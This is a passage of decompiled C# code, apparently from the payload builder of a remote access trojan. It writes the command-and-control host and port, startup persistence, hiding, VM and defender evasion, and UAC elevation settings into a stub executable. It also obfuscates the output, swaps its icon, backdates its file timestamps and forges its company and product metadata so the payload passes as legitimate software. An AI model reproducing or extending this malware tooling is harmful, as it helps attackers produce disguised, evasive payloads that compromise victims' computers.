|
|
ms = new MemoryStream(File.ReadAllBytes(stub));
|
||
|
|
ModuleDef module = (ModuleDef) ModuleDefMD.Load((Stream) ms);
|
||
|
|
await Task.Run((Action) (() =>
|
||
|
|
{
|
||
|
|
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
|
||
|
|
{
|
||
|
|
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
|
||
|
|
{
|
||
|
|
if (method.HasBody)
|
||
|
|
{
|
||
|
|
for (int index = 0; index < method.Body.Instructions.Count; ++index)
|
||
|
|
{
|
||
|
|
if (method.Body.Instructions[index].OpCode == OpCodes.Ldstr && method.Body.Instructions[index].Operand != null)
|
||
|
|
{
|
||
|
|
string str1 = method.Body.Instructions[index].Operand.ToString();
|
||
|
|
string str2 = (string) null;
|
||
|
|
switch (str1)
|
||
|
|
{
|
||
|
|
case "silly1":
|
||
|
|
str2 = this._mutx;
|
||
|
|
break;
|
||
|
|
case "silly10":
|
||
|
|
str2 = iconC;
|
||
|
|
break;
|
||
|
|
case "silly11":
|
||
|
|
str2 = uacC;
|
||
|
|
break;
|
||
|
|
case "silly13":
|
||
|
|
str2 = webC;
|
||
|
|
break;
|
||
|
|
case "silly14":
|
||
|
|
str2 = webUrlC;
|
||
|
|
break;
|
||
|
|
case "silly15":
|
||
|
|
str2 = vmC;
|
||
|
|
break;
|
||
|
|
case "silly16":
|
||
|
|
str2 = tagC;
|
||
|
|
break;
|
||
|
|
case "silly17":
|
||
|
|
str2 = msgTitleC;
|
||
|
|
break;
|
||
|
|
case "silly18":
|
||
|
|
str2 = blockC;
|
||
|
|
break;
|
||
|
|
case "silly2":
|
||
|
|
str2 = string.IsNullOrEmpty(selectedHost) ? "127.0.0.1" : selectedHost;
|
||
|
|
break;
|
||
|
|
case "silly20":
|
||
|
|
str2 = passC;
|
||
|
|
break;
|
||
|
|
case "silly21":
|
||
|
|
str2 = rawC;
|
||
|
|
break;
|
||
|
|
case "silly22":
|
||
|
|
str2 = reconnC;
|
||
|
|
break;
|
||
|
|
case "silly23":
|
||
|
|
str2 = defC;
|
||
|
|
break;
|
||
|
|
case "silly3":
|
||
|
|
str2 = string.IsNullOrEmpty(selectedPort) ? "8080" : selectedPort;
|
||
|
|
break;
|
||
|
|
case "silly4":
|
||
|
|
str2 = startupC;
|
||
|
|
break;
|
||
|
|
case "silly5":
|
||
|
|
str2 = delayC;
|
||
|
|
break;
|
||
|
|
case "silly6":
|
||
|
|
str2 = pcC;
|
||
|
|
break;
|
||
|
|
case "silly7":
|
||
|
|
str2 = hideC;
|
||
|
|
break;
|
||
|
|
case "silly8":
|
||
|
|
str2 = msgEnC;
|
||
|
|
break;
|
||
|
|
case "silly9":
|
||
|
|
str2 = msgDescC;
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
if (str2 != null)
|
||
|
|
method.Body.Instructions[index].Operand = (object) str2;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}));
|
||
|
|
if (allowObf)
|
||
|
|
{
|
||
|
|
nullable = builder.TogObf.IsChecked;
|
||
|
|
bool flag2 = true;
|
||
|
|
if (nullable.GetValueOrDefault() == flag2 & nullable.HasValue)
|
||
|
|
{
|
||
|
|
AGObfuscator agObfuscator = new AGObfuscator(module);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
module.Write(outputFile);
|
||
|
|
module.Dispose();
|
||
|
|
ms.Dispose();
|
||
|
|
await Task.Delay(500);
|
||
|
|
if (!string.IsNullOrEmpty(builder._selectedIconPath) && File.Exists(builder._selectedIconPath))
|
||
|
|
ResourceModifier.ChangeIcon(outputFile, builder._selectedIconPath);
|
||
|
|
nullable = builder.TogDate.IsChecked;
|
||
|
|
bool flag3 = true;
|
||
|
|
if (nullable.GetValueOrDefault() == flag3 & nullable.HasValue && builder.DatePicker1.SelectedDate.HasValue)
|
||
|
|
{
|
||
|
|
DateTime dateTime = builder.DatePicker1.SelectedDate.Value;
|
||
|
|
File.SetCreationTime(outputFile, dateTime);
|
||
|
|
File.SetLastWriteTime(outputFile, dateTime);
|
||
|
|
File.SetLastAccessTime(outputFile, dateTime);
|
||
|
|
}
|
||
|
|
nullable = builder.TogAssembly.IsChecked;
|
||
|
|
bool flag4 = true;
|
||
|
|
if (nullable.GetValueOrDefault() == flag4 & nullable.HasValue)
|
||
|
|
builder.ApplyAssembly(outputFile);
|
||
|
|
if (uacC == "true")
|
||
|
|
ManifestHelper.InjectAdminManifest(outputFile);
|
||
|
|
Builder.ShowMsg("Build finished!", "Success", MessageBoxImage.Asterisk);
|
||
|
|
builder.Dispatcher.Invoke((Action) (() =>
|
||
|
|
{
|
||
|
|
this.Hide();
|
||
|
|
this.Close();
|
||
|
|
}));
|
||
|
|
outputFile = (string) null;
|
||
|
|
ms = (MemoryStream) null;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private bool ValidateBuildInputs()
|
||
|
|
{
|
||
|
|
if (this.HostList.SelectedItem == null)
|
||
|
|
{
|
||
|
|
if (string.IsNullOrWhiteSpace(this.TxtPasteLink.Text) || this.TxtPasteLink.Text == "https://paste.ee/d/dQKrJpQJ")
|
||
|
|
Builder.ShowMsg("Please select a host from the Network tab.", "Error", MessageBoxImage.Hand);
|
||
|
|
else
|
||
|
|
Builder.ShowMsg("Select a host — even with a raw link it could break.", "Error", MessageBoxImage.Hand);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
bool? isChecked = this.TogMsgBox.IsChecked;
|
||
|
|
bool flag1 = true;
|
||
|
|
if (isChecked.GetValueOrDefault() == flag1 & isChecked.HasValue)
|
||
|
|
{
|
||
|
|
if (string.IsNullOrWhiteSpace(this.TxtMsgTitle.Text))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("Add a title for the message box, or disable it.", "Error", MessageBoxImage.Hand);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
if (string.IsNullOrWhiteSpace(this.TxtMsgBody.Text))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("Add content for the message box, or disable it.", "Error", MessageBoxImage.Hand);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
isChecked = this.TogPassword.IsChecked;
|
||
|
|
bool flag2 = true;
|
||
|
|
if (isChecked.GetValueOrDefault() == flag2 & isChecked.HasValue && string.IsNullOrWhiteSpace(this.TxtPassword.Text))
|
||
|
|
{
|
||
|
|
Builder.ShowMsg("Enter a password, or disable it.", "Error", MessageBoxImage.Hand);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
isChecked = this.TogAssembly.IsChecked;
|
||
|
|
bool flag3 = true;
|
||
|
|
if (!(isChecked.GetValueOrDefault() == flag3 & isChecked.HasValue) || !string.IsNullOrWhiteSpace(this.TxtAsmFilename.Text))
|
||
|
|
return true;
|
||
|
|
Builder.ShowMsg("Enter at least a filename in the Assembly tab, or disable it.", "Error", MessageBoxImage.Hand);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
|
||
|
|
private void ApplyAssembly(string filename)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
VersionResource versionResource = new VersionResource();
|
||
|
|
versionResource.LoadFrom(filename);
|
||
|
|
versionResource.Language = (ushort) 0;
|
||
|
|
StringFileInfo stringFileInfo = (StringFileInfo) versionResource["StringFileInfo"];
|
||
|
|
stringFileInfo["InternalName"] = this.TxtAsmFilename.Text;
|
||
|
|
stringFileInfo["OriginalFilename"] = this.TxtAsmFilename.Text;
|
||
|
|
stringFileInfo["ProductName"] = this.TxtAsmProduct.Text;
|
||
|
|
stringFileInfo["CompanyName"] = this.TxtAsmCompany.Text;
|
||
|
|
stringFileInfo["FileDescription"] = this.TxtAsmDescrip.Text;
|
||
|
|
stringFileInfo["LegalCopyright"] = this.TxtAsmCopyright.Text;
|
||
|
|
stringFileInfo["LegalTrademarks"] = this.TxtAsmCopyright.Text;
|
||
|
|
stringFileInfo["ProductVersion"] = this.TxtAsmVersion.Text;
|
||
|
|
stringFileInfo["FileVersion"] = this.TxtAsmVersion.Text;
|
||
|
|
versionResource.SaveTo(filename);
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Builder.ShowMsg(ex.Message, "Assembly error", MessageBoxImage.Hand);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
protected override void OnClosing(CancelEventArgs e)
|
||
|
|
{
|
||
|
|
base.OnClosing(e);
|
||
|
|
if (this.HostList.SelectedItem == null || Messenger.MessageBox("Wanna save this configuration?", "Question", MessageBoxButton.YesNo, MessageBoxImage.Question) != MessageBoxResult.Yes)
|
||
|
|
return;
|
||
|
|
this.SaveConfig();
|
||
|
|
}
|
||
|
|
|
||
|
|
private string GetSelectedMsgBoxIcon()
|
||
|
|
{
|
||
|
|
bool? isChecked1 = this.RbIconError.IsChecked;
|
||
|
|
bool flag1 = true;
|
||
|
|
if (isChecked1.GetValueOrDefault() == flag1 & isChecked1.HasValue)
|
||
|
|
return "Error";
|
||
|
|
bool? isChecked2 = this.RbIconInfo.IsChecked;
|
||
|
|
bool flag2 = true;
|
||
|
|
if (isChecked2.GetValueOrDefault() == flag2 & isChecked2.HasValue)
|
||
|
|
return "Information";
|
||
|
|
bool? isChecked3 = this.RbIconWarn.IsChecked;
|
||
|
|
bool flag3 = true;
|
||
|
|
if (isChecked3.GetValueOrDefault() == flag3 & isChecked3.HasValue)
|
||
|
|
return "Warning";
|
||
|
|
bool? isChecked4 = this.RbIconQst.IsChecked;
|
||
|
|
bool flag4 = true;
|
||
|
|
return isChecked4.GetValueOrDefault() == flag4 & isChecked4.HasValue ? "Question" : "No icon";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string RV(string content, string key)
|
||
|
|
{
|
||
|
|
string str1 = $"<{key}>";
|
||
|
|
int num1 = content.IndexOf(str1);
|
||
|
|
if (num1 == -1)
|
||
|
|
return "empty";
|
||
|
|
int startIndex = num1 + str1.Length;
|
||
|
|
int num2 = content.IndexOf(str1, startIndex);
|
||
|
|
if (num2 == -1)
|
||
|
|
return "empty";
|
||
|
|
string str2 = content.Substring(startIndex, num2 - startIndex);
|
||
|
|
return !string.IsNullOrWhiteSpace(str2) ? str2 : "empty";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string Fix(string s)
|
||
|
|
{
|
||
|
|
return !string.IsNullOrWhiteSpace(s) && !(s.ToLower() == "null") ? s : "empty";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string BoolStr(bool? b)
|
||
|
|
{
|
||
|
|
bool? nullable = b;
|
||
|
|
bool flag = true;
|
||
|
|
return !(nullable.GetValueOrDefault() == flag & nullable.HasValue) ? "false" : "true";
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void ShowMsg(string msg, string title, MessageBoxImage icon)
|
||
|
|
{
|
||
|
|
int num = (int) Messenger.MessageBox(msg, title, icon: icon);
|
||
|
|
}
|
||
|
|
|
||
|
|
private void MainTabs_SelectionChanged(object sender, SelectionChangedEventArgs e)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|